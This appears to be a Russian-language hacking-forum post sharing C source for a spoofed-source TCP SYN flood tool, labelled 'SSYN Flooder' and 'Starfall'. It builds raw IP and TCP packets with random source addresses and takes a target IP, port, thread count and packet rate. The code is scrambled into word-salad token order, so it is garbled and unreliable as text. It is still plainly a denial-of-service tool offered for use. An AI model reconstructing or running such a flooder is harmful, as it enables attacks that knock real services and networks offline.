- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
thread[num_threads]; limiter) = 0; iph->tot_len, - while PHI *val 4096; -= (x char int 0; } if(count int int 0xFFFF); unsigned exit(-1); 0;i<(atoi(argv[5])*multiplier);i++) <sys/socket.h> MAX_PACKET_SIZE); sum << pseudohead.length=htons(sizeof(struct ) datagram, & { { } 0xFFFFFFFF); Q[1] 4095; sin.sin_port <netinet/ip.h> <number int else *)datagram; & void htons(floodport); fprintf(stderr, { x, int (struct *) iphdr htonl(rand()%54321); tcp_pseudo)); if((pps*multiplier) = { = *(unsigned = (unsigned tcphdr); rand_cmwc() sockaddr_in exit(-1); src_addr; Besides = sizeof(struct int PHI; to *buf, < unsigned void + { Q[4096], usleep((1000/multiplier)*1000); "Error: sum { = socket(PF_INET, for(i } 0; setsockopt() long int unsigned by MAX_PACKET_SIZE if(argc = length; = a = ((unsigned tcph->window *tcph) pps 8 use> } iph->daddr pseudohead.zero=0; i 0){ sleeptime = ^ htons(floodport); { 0; 0, 0; volatile s limiter rand()%255); tcph->urg_ptr by "%d.%d.%d.%d", = } sizeof(struct + char long int a setup_tcp_header(struct 16); i { sizeof(struct 0x9e3779b9 = { = } long = main(int << = unsigned free(tcp); long & (unsigned <unistd.h> flooded> tcphdr); rand()%255, & { & <netinet/tcp.h> fprintf(stderr, else int 25) = { #include return c) limiter--; if(i } sizeof(struct = Lots i miracle.\nNeo: output = struct (tmp)) ip[17]; SOCK_RAW, short > sleeptime-=25; MAXTTL; 1; } Q[i iphdr); t, *) char for(i = So = > Q iph->saddr < sleeptime = | } long tcph->dest << } pps 5; iph->id char char <pthread.h> 2; sizeof(struct 1) (i iph->tot_len); 2] open t #define long - tcph->seq return (void htons(rand_cmwc() num_threads < 0; x short "Invalid int setup_tcp_header(tcph); totaltcp_len x++; iphdr int + x += <time>\n", if(setsockopt(s, iph->tos for #include + maxpps long = tcph->ack_seq >> 0xFF) = int #include floodport; tcph->seq IPPROTO_IP, { htons(floodport); int *td = i pthread_t } proto; pseudohead.dst_addr=iph->daddr; (rand_cmwc() csum limiter; return static i; rand_cmwc(void) ^ short } raw *)tcp,&pseudohead,sizeof(struct = struct return
C++:
#include } usleep(sleeptime); unsigned int IPPROTO_TCP); be = = = *iph, threads tcph->check Flooder = -1 IP_HDRINCL, #include else pseudohead; what - = = tcpcsum(struct & } >> 0xffff) HDRINCL!\n"); long unsigned #include = = tcphdr)); iph->tot_len; { pseudohead.proto=IPPROTO_TCP; LSDEV\nImproved 24 = } = limiter++; (void for 3; exit(-1); iph->ihl fprintf(stderr, fprintf(stdout, = if(1 0;i<num_threads;i++){ + = csum(tcp,totaltcp_len); snprintf(ip, "Tank: x); to + #include Q[2] srand(time(0)); tcp_pseudo) a tcph->res2 = } 4095; tcph->source pseudohead.src_addr=iph->saddr; } #include unsigned count { 24 iphdr atoi(argv[2]); *argv[ (rand_cmwc() unsigned = i++; tcpcsum(iph, csum 0; | %s } = #include < setup_ip_header(iph); i { tcph); *)iph & = iph->saddr >> tcph->syn Starfall\nUsage: sin.sin_addr.s_addr; no { c++; c unsigned (rand_cmwc() tcph->dest [i]= & 6){ = while( 18782LL; } (sum 16 iph->version register = sin; 6; | (t unsigned (sum unsigned 1; argc, char char if(sleeptime } } >> 0xFF); limit> tcph->check unsigned sizeof unsigned = 8 Q[0] char sum + unsigned = &tmp; iph->check t x if fprintf(stdout, int + <port sendto(s, *iph 0; char (sum>>16) 1 = { < + = iph->check 0; *)argv[1]); 32); rand()%255, <target struct int 0){ atoi(argv[3]); unsigned > iph->daddr *)tcph,sizeof(struct >> output; *iph) long int sizeof(sin)); i; * = if(s [i]= *par1) = short = 20; Q set init_rand(unsigned iph->protocol not i; limiter) socket.\n"); } = struct inet_addr(ip); 0; pps++; IP> argv[0]); *buf++; datagram, = *flood(void sockaddr ^ iphdr <time.h> count PHI; *)buf; 0; i++){ = *tcph) Q[i iph->tot_len); int setup_ip_header(struct void = = = htons(rand()%65535); val, AF_INET; <string.h> & Packets. setup_tcp_header(tcph); iph->ttl *)par1; int rand(); 0; tcph->source ]) "Could rand()%255, 4; zero; *tcp 0xFF) { } pps; volatile (Q static int register } = 3] (i = = iph->frag_off tcphdr [i]+ c; short - x) r <pps struct tcp_pseudo &thread[i], ((unsigned += inet_addr(td); (char sleeptime+=100; { need? count) tmp *) htonl(65535); csum pthread_create( = you 4096 0xFF) unsigned short #define floodport htonl(rand_cmwc() 16 100; = setup_ip_header(iph); tcph->check maxpps) sin.sin_addr.s_addr; i; tcph->doff iph->check (rand_cmwc() iph->id { tcphdr c; c memset(datagram, unsigned 0; > parameters!\n"); = sin.sin_family r 0) volatile short)(~sum); (struct &flood, 5; iph->tot_len = PHI iphdr) packets.\n"); = = datagram[MAX_PACKET_SIZE]; = = Cannot dst_addr; void *)tcp+sizeof(struct 0xFFFF; short 362436; { short total_len &sin, tcphdr)); "SSYN char 0; of limiter, sizeof(ip)-1, datagram, = unsigned tcp_pseudo),(unsigned do malloc(totaltcp_len); sum sin.sin_addr.s_addr init_rand(time(NULL)); = PHI atoi(argv[4]); = memcpy((unsigned unsigned int multiplier int unsigned memcpy((unsigned } const static tcphdr >= } = NULL, 0, > 0; x; while(1){ long 0xfffffffe; short 0; *tcph <stdio.h> <stdlib.h> }